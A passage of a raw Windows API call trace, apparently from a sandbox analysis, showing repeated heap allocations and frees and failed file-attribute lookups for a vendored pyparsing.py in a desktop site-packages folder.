hHeap=0x2ad0000) returned 1 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ccbf8 [0075.339] GetCurrentThreadId () returned 0x9b0 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b6728 [0075.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ccbf8 | out: hHeap=0x2ad0000) returned 1 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab940 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf0b8 [0075.339] GetCurrentThreadId () returned 0x9b0 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc530 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2b0 [0075.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc530 | out: hHeap=0x2ad0000) returned 1 [0075.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd3a0 [0075.339] GetCurrentThreadId () returned 0x9b0 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b6d30 [0075.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd3a0 | out: hHeap=0x2ad0000) returned 1 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab910 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd838 [0075.339] GetCurrentThreadId () returned 0x9b0 [0075.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc570 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2d0 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc570 | out: hHeap=0x2ad0000) returned 1 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab910 | out: hHeap=0x2ad0000) returned 1 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd528 [0075.340] GetCurrentThreadId () returned 0x9b0 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b7940 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd528 | out: hHeap=0x2ad0000) returned 1 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9e0 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd9c0 [0075.340] GetCurrentThreadId () returned 0x9b0 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3d0 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc350 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc3d0 | out: hHeap=0x2ad0000) returned 1 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9e0 | out: hHeap=0x2ad0000) returned 1 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf3c8 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b9d70 [0075.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cf3c8 | out: hHeap=0x2ad0000) returned 1 [0075.340] GetCurrentThreadId () returned 0x9b0 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab900 [0075.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf860 [0075.341] GetCurrentThreadId () returned 0x9b0 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc410 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc530 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc410 | out: hHeap=0x2ad0000) returned 1 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab900 | out: hHeap=0x2ad0000) returned 1 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce600 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32ba378 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ce600 | out: hHeap=0x2ad0000) returned 1 [0075.341] GetCurrentThreadId () returned 0x9b0 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9c0 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf240 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3d0 [0075.341] GetCurrentThreadId () returned 0x9b0 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc450 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc3d0 | out: hHeap=0x2ad0000) returned 1 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9c0 | out: hHeap=0x2ad0000) returned 1 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cea98 [0075.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b8550 [0075.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cea98 | out: hHeap=0x2ad0000) returned 1 [0075.342] GetCurrentThreadId () returned 0x9b0 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab980 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce600 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3d0 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2f0 [0075.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc3d0 | out: hHeap=0x2ad0000) returned 1 [0075.342] GetCurrentThreadId () returned 0x9b0 [0075.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab980 | out: hHeap=0x2ad0000) returned 1 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cdb48 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32ba980 [0075.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cdb48 | out: hHeap=0x2ad0000) returned 1 [0075.342] GetCurrentThreadId () returned 0x9b0 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab850 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf9e8 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc430 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc310 [0075.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc430 | out: hHeap=0x2ad0000) returned 1 [0075.342] GetCurrentThreadId () returned 0x9b0 [0075.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab850 | out: hHeap=0x2ad0000) returned 1 [0075.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf6d8 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32baf88 [0075.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cf6d8 | out: hHeap=0x2ad0000) returned 1 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab850 [0075.343] GetCurrentThreadId () returned 0x9b0 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce168 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc330 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3d0 [0075.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc330 | out: hHeap=0x2ad0000) returned 1 [0075.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab850 | out: hHeap=0x2ad0000) returned 1 [0075.343] GetCurrentThreadId () returned 0x9b0 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf550 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96750 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab870 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba10 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab900 [0075.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab910 [0075.343] GetLastError () returned 0x0 [0075.343] GetLastError () returned 0x0 [0075.344] GetLastError () returned 0x0 [0075.344] GetLastError () returned 0x0 [0075.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96a80 | out: hHeap=0x2ad0000) returned 1 [0075.344] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216b20, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.344] GetCurrentThreadId () returned 0x9b0 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.344] LocalFree (hMem=0x10520f8) returned 0x0 [0075.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0075.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96a80 [0075.344] GetCurrentThreadId () returned 0x9b0 [0075.344] GetLastError () returned 0x3 [0075.344] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cc0 | out: hHeap=0x2ad0000) returned 1 [0075.345] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216b20, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] GetCurrentThreadId () returned 0x9b0 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] GetLastError () returned 0x3 [0075.345] LocalFree (hMem=0x10520f8) returned 0x0 [0075.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0075.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96a80 | out: hHeap=0x2ad0000) returned 1 [0075.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab870 | out: hHeap=0x2ad0000) returned 1 [0075.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96750 | out: hHeap=0x2ad0000) returned 1 [0075.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96750 [0075.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba10 | out: hHeap=0x2ad0000) returned 1 [0075.346] GetCurrentThreadId () returned 0x9b0 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cde58 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b9160 [0075.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cde58 | out: hHeap=0x2ad0000) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cea98 [0075.346] GetCurrentThreadId () returned 0x9b0 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b9768 [0075.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cea98 | out: hHeap=0x2ad0000) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab990 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf3c8 [0075.346] GetCurrentThreadId () returned 0x9b0 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc330 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc470 [0075.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc330 | out: hHeap=0x2ad0000) returned 1 [0075.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab990 | out: hHeap=0x2ad0000) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cf6d8 [0075.346] GetCurrentThreadId () returned 0x9b0 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32bb590 [0075.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cf6d8 | out: hHeap=0x2ad0000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab940 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cde58 [0075.347] GetCurrentThreadId () returned 0x9b0 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc410 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc330 [0075.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc410 | out: hHeap=0x2ad0000) returned 1 [0075.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cdb48 [0075.347] GetCurrentThreadId () returned 0x9b0 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b7f48 [0075.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cdb48 | out: hHeap=0x2ad0000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cdb48 [0075.347] GetCurrentThreadId () returned 0x9b0 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc570 [0075.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc410 [0075.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc570 | out: hHeap=0x2ad0000) returned 1 [0075.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab960 | out: hHeap=0x2ad0000) returned 1 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cca70 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b8b58 [0075.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cca70 | out: hHeap=0x2ad0000) returned 1 [0075.348] GetCurrentThreadId () returned 0x9b0 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab920 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd528 [0075.348] GetCurrentThreadId () returned 0x9b0 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc590 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc430 [0075.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc590 | out: hHeap=0x2ad0000) returned 1 [0075.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab920 | out: hHeap=0x2ad0000) returned 1 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd090 [0075.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d52d8 [0075.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd090 | out: hHeap=0x2ad0000) returned 1 [0075.351] GetCurrentThreadId () returned 0x9b0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab980 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cca70 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc490 [0075.351] GetCurrentThreadId () returned 0x9b0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc570 [0075.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc490 | out: hHeap=0x2ad0000) returned 1 [0075.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab980 | out: hHeap=0x2ad0000) returned 1 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd6b0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d0a78 [0075.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd6b0 | out: hHeap=0x2ad0000) returned 1 [0075.351] GetCurrentThreadId () returned 0x9b0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab8d0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd6b0 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc590 [0075.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc490 [0075.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc590 | out: hHeap=0x2ad0000) returned 1 [0075.351] GetCurrentThreadId () returned 0x9b0 [0075.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8d0 | out: hHeap=0x2ad0000) returned 1 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ccd80 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d7708 [0075.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ccd80 | out: hHeap=0x2ad0000) returned 1 [0075.352] GetCurrentThreadId () returned 0x9b0 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab890 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ccbf8 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc590 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc5b0 [0075.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc590 | out: hHeap=0x2ad0000) returned 1 [0075.352] GetCurrentThreadId () returned 0x9b0 [0075.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab890 | out: hHeap=0x2ad0000) returned 1 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd3a0 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d1688 [0075.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd3a0 | out: hHeap=0x2ad0000) returned 1 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab8d0 [0075.352] GetCurrentThreadId () returned 0x9b0 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cea98 [0075.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc590 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc010 [0075.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc590 | out: hHeap=0x2ad0000) returned 1 [0075.353] GetCurrentThreadId () returned 0x9b0 [0075.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8d0 | out: hHeap=0x2ad0000) returned 1 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd090 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d1080 [0075.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd090 | out: hHeap=0x2ad0000) returned 1 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab920 [0075.353] GetCurrentThreadId () returned 0x9b0 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cec20 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc590 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc150 [0075.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc590 | out: hHeap=0x2ad0000) returned 1 [0075.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab920 | out: hHeap=0x2ad0000) returned 1 [0075.353] GetCurrentThreadId () returned 0x9b0 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96a80 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab8b0 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9c0 [0075.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab8d0 [0075.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab920 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cc0 | out: hHeap=0x2ad0000) returned 1 [0075.354] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216ba0, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetCurrentThreadId () returned 0x9b0 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] GetLastError () returned 0x3 [0075.354] LocalFree (hMem=0x10522b8) returned 0x0 [0075.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0075.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96cc0 [0075.355] GetCurrentThreadId () returned 0x9b0 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.355] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216ba0, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetCurrentThreadId () returned 0x9b0 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] GetLastError () returned 0x3 [0075.355] LocalFree (hMem=0x1052280) returned 0x0 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cc0 | out: hHeap=0x2ad0000) returned 1 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8b0 | out: hHeap=0x2ad0000) returned 1 [0075.356] HeapFree (in: hHeap=0x2ad0000, 